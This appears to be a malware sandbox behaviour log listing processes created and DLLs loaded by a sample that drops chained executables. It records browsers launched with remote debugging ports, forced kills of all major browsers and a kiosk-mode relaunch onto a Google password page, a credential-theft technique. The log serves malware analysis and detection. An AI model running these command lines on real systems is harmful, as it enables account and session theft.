Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIJKFHDBKFC.exe "C:\Users\user\DocumentsIJKFHDBKFC.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe "C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe "C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe "C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe "C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe "C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffc08525-ffc5-4546-9e79-fa9a2f8be888} 2800 "\\.\pipe\gecko-crash-server-pipe.2800" 21beb56eb10 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIJKFHDBKFC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2208,i,11112625269450006976,13017943389381454279,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2384,i,5336292706058860815,4067302130778285972,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6992 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6824 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2288,i,11947060115532650235,7332651882902762647,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIJKFHDBKFC.exe "C:\Users\user\DocumentsIJKFHDBKFC.exe"
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe "C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe "C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe "C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe "C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2260 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ffc08525-ffc5-4546-9e79-fa9a2f8be888} 2800 "\\.\pipe\gecko-crash-server-pipe.2800" 21beb56eb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
